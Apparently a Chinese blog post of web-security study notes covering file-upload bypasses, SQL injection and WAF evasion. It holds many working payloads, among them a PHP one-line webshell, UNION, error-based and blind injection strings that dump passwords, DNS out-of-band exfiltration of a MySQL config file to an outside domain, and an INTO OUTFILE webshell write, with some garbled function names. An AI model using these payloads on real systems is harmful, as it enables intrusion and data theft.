WEB安全攻防个人学习笔记

本文详细介绍了WEB安全的关键要素,包括客户端脚本安全、服务器应用安全、业务逻辑安全、常见漏洞利用工具和技术,以及针对SQL注入、数据库操作、WAF绕过和二次注入的防御方法,旨在提升网络安全意识和防护措施。

特此声明:此笔记为纯技术分享!此笔记的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!此笔记的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

WEB安全攻防要点:123   ***信任***
1客户端脚本安全:浏览器安全;
                跨站脚本攻击  XSS 反射 储存 DOM
                跨站点请求伪造CSRF
                点击劫持ClicJacking
                网页钓鱼;
2服务器应用安全:认证会话管理;
访问控制;加密算法安全;
SQL注入攻击  : GET POST HTTP注入
文件上传漏洞;web框架漏洞;
拒绝服务攻击(应用层传输层)
开发语言安全 :文件包含漏洞,变量覆盖漏洞;代码执行漏洞
webServer配置安全  远程命令执行

3业务逻辑安全.
文件上传漏洞防御::: 1文件类型检测白名单优于黑名单
                    2使用安全函数进行编程
                    3熟悉业务部署环境的OS\Web server配置

工具 :::::::::: burpsuite  curl  Postman
eval()
<?php @evaluate($_post['123']); ?>
WEB  绕过 执行木马
文件上传漏洞  php3 \ phtml
:::::::::::::::
1-解析漏洞的版本号 
IIS5./6.0
1.当创建.asp的文件目录时,在此目录下的任意文件服务器都解析为asp文件
/.asp/xxx
2.服务器默认不解析";"以后的内容

2-Nginx解析漏洞  cgi.fix_pathinfo  开启 当url中文件不存在PHP就会默认向前解析;
3-Apache 版本1./2.  解析漏洞 从右-左  shell.php.test  跳过非可识别的后缀,找到可识别后缀
删除 js代码 ;
4-.htaccess绕过;  上传一个.htaccess文件(Add Type application/x-httpd-php.test)   上传shell.test一句话木马;
5-PHp大小写绕过;windos平台不区分;

6-文件流绕过  NTFS文件系统实现了多文件流特性
            echo 111 > test.txt:111.txt;
            echo text > test.txt;
            echo 222 > test.txt::$data;

7-字符串截断绕过(上传.php .png格式;空格为20修改为00即可) %00
控制两个输入点 :1文件名  ; 2 传输文件路径;

8-文件头检测绕过 图片马 cat test.php >> test.phg
大小写双写/点空格/文件头/条件竞争绕过  windows环境特性绕过  文件解析规则绕过 前端绕过.

源码审计:::explode  切片函数;in_array判断文件类型松散\比较;
1确定逻辑的安全性,2确定调用函数的安全性  php API reference

漏洞链:联合使用本地远程文件包含漏洞;

Fuzz 模糊测试;bp -- Intruder  $$--playload

 数据库 : myspl -h IP -u root -p
 show databases;查看数据库;use information_schema;使用数据库
 select database();当前使用的数据库  show tables 表; select version();数据库版本
 select user();查看用户  select @@datadir;查看使用路径   select @@basedir;查看安装路径 select @@version_compile_os;查看版本


SQL注入类型:5种:::::::::::::::::::::::::::::::::::::::::::::::::::::::

1.Boolean-based blind SQL injection(布尔型注入) F  T
2.UNION query SQL injection(可联合查询注入) union by 
3.Time-based blind SQL injection(基于时间延迟注入) sleep()
4.Error-based SQL injection(报错型注入) group by  duplicate entry
5.Stacked queries SQL injection(可多语言查询注入)


GET:::::::::::::::::::::::::::::::::::::::::::::::::::::::
information_schema

1通过'号测试注入点  报错返回 执行语句;
2查询字段数量 'union select 1,2,3,4,5,6 --    查询字段数量;DBMS系统--为注释;
3查询数据库及表 'union select 1,user(),database(),table_name,version(),6 from INFORMATION_SCHEMA.tables where table_schema=database() -- '
4发现users表: 'union select 1,column_name,3,4,5,6 from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
5发现字段查询数据: 'union select 1,id,login,4,password,6 from where users -- 
6彩虹表碰撞方式解密 MD5

POST:::::::::::::::::::::::::::::::::::::::::::::::::::::::

1 BP 工具抓包 修改 request 参数
2 判断注入点构建语句修改int movie=1 union select 1,2 from INFORMATION_SCHEMA.tables --
3 movie=被真实数据占据需要修改为不存在的值,'union select 1,user(),database(),table_name,version(),6 -- 
4 查询只显示1行数据;

判断注入关键点 SQL:::::::::::::::::::::::::::::::::::::
那种注入方式;
1 添加'号方式页面返回错误的话存在注入, and=2-1 ,and 1=1
2 类型:数字型 + 字符型like '%(t%' and '1'='1 --;)
*******推测后端的SQL语句怎么写的 然后尝试去构造SQL语句去闭合;;
3防御对输入特殊符号进行转义 mysql_escape_string
4过滤 and or  union by select 空格


Time-based blind SQL injection(基于时间延迟注入) ::::::::::::::::::::::::::::::::::::::::::::::::::::

页面不会返回错误  需要 sleep()加载网页时间
select * from user where id= ' 4' and sleep(3) -- ''
                         id= ' ?'    
                 ' and sleep(3) --    
                 ' and substr(database(),1,1)='b' and sleep(3) --
                 ' and asii(substr(database(),1,1)=98 and sleep(3) --
当id=4存在,休眠3s

时间盲注常用函数 ::::::::::::::::::::
substr(a,b,c)从b开始,截取字符串a中的c长度
count()计算总数
asii()ASSCII码
length()返回字符串长度=5  >  
left(a,b)从左到右截取字符串a的前b个字符   binary()
pip install requests
import requests 

HTTP注入::::::::(user-Agent):::::::::::::::::::::::::::

user-Agent '为字符串 需要 闭合'  后面需要 注释--  #


Error-based SQL injection报错型注入:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
select floor(rand(0)*2) from information_schema.tables limit 0,10;
rang插入3次主键每次加1,主键存在造成冲突;
分类: 1.BigInt 数据类型溢出;
      2.Xpath()语法错误;
      3.count()+rand(返回一个随机浮点数)+group_by()导致重复;
      4.空间数据类型函数错误;
:::::::::::::::::函数会导致MySQL报错并显示出数据:::::
1.floor函数;floor(rand(0)*2)   总的来说floor(rand(0)*2)在该语句中会执行两次,一次是在遍历原表中的数据的时候,会计算一次x的值;一次是当虚拟表中没有该x的值,准备将新的记录插入虚拟表中的时候。一旦这两次的计算结果不一致,就会导致插入过程的报错。
 select count(*),floor(rand(0)*2)x from users group by x;
                                  一张虚拟表count(*)-x,该虚拟表的主键是group by后指定的x,执行group by的过程中,
                                  一条一条的遍历user表,获得x字段的值         
2.extractvalue函数 (最多32个字符) id=1' and extractvalue(1,concat(0x7e,(select @@version))) --'   0x7e为波浪号
3.updatexml函数;id=1' and updatexml(1,concat(0x7e,(select @@version)),1) --'
4.exp()函数; select exp(~(select * from (select database))x));     ~取反
5.MID()函数用于从文本字段中提取字符:select MID(column_name,start[,length]) from table_name;
id=' and extractvalue(1,mid(concat(0x7e, (select password from dvam.users limit 0,1)),29,29)) --
id=' and extractvalue(1,(concat(0x7e, (select table_name from information_schema.tables where table_schema='dvwn' limit 0,1))) --
id=' and extractvalue(1,(concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1))) --

堆叠注入:::Stacked Injections:::::::::::场景少::::::::::::::::::::::::::::::::::::
一堆sql一起执行 ,每一条语句结尾; 
API限制 场景少  mysqli_multi_query 多语句查询API  mysql_use_result获取结果
修改用户密码 id=1' ; update users set password='' where user_id=1; --

OOB注入 :::::::DNS:53::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
OUT OF BAND  带外通道
条件 :1存在漏洞的系统 允许访问恶意url
2外围防火墙出站策略;
域名 DNS Server    明文  需要 域名    53
tcpdump   数据嗅探工具  53

Windows生效网络共享 UNC路径 \\servernamer\sharename  
local host
CEYE平台 ceye.io
select concat('\\\\',(select database()),'.yuming\\12');
select lode_file(concat('\\\\',(select database()),".yuming\\12")) --+
限制为63个字符;
1使用load_file去读文件内容;2使用substr对文件进行切片;
3使用to_base64对切片内容编码;4使用concat将内容与域名拼接;
5使用load_file访问UNC路径;
select concat(to_base64(substr(load_file("C:phpstudy_pro\\Extensions\\Mysql\\my.ini"),1,15)),".example.com") as result;

Oracle数据库 UTL_HTTP.request(url,porxy);

如何绕过 WAF::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
1混淆绕过; 大小写 双写/点空格/文件头/条件竞争绕过
2过滤代码 preg_match('/(and | or) /i',$id)  #/ 表示开头结尾;i 不区分大小写
过滤 1or=1 1and1 =1   替换or=|| and = && 绕过 1||1=1 1&&1=1
3过滤代码 preg_match('/(and | or | union) /i',$id)
过滤1|| (select user from users where user_id = 1)= 'admin'
    1|| (select count(*) from test) > 0;
where  ==  limit ;  group by
select substr((select group_concat(name)name from test),1,1) =
4过滤代码 select ' 过滤
1 || substr(name,1,1) = 0x74;
1 || binary(name) = 0x74657374;  二进制函数
&& binary(name) > 0x74;

5过滤空格 注释符 /**/  URL编码
select/**/name/**/from/**/test/**/where/**/id=1;
6过滤 =    可以用 like  
7 双写绕过 ; ununionion
8双重编码绕过 WAF url decode (param)
9 转义函数 不是万能 本质防御
10宽字节注入 36  %27--' %23--# %df--无意义 %5c--\
id=133 %df%27 union select 1,user(),3 %23
id=133  \' union select 1,user(),3 #
SET character_set_client = x; 客户端编码格式设置
SET NAMES X    my.ini/cnf进行静态设值;
?\'   希望 ?\结合  通过df把5c (\) 结合起来 轀
GBK编码 包含汉字  ; Unicode编码国际标准字符;

二次注入 :::24::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
数据库输入不可信;;;
admin'#  转义admin\'#
防:预编译  禁止用户账号出现特殊符号

注入命令执行:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
经典注入方式
select username,password from users where id = '1' union
select 1,'<?php system($_GET["cmd"]);?>' into outfile '//'

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值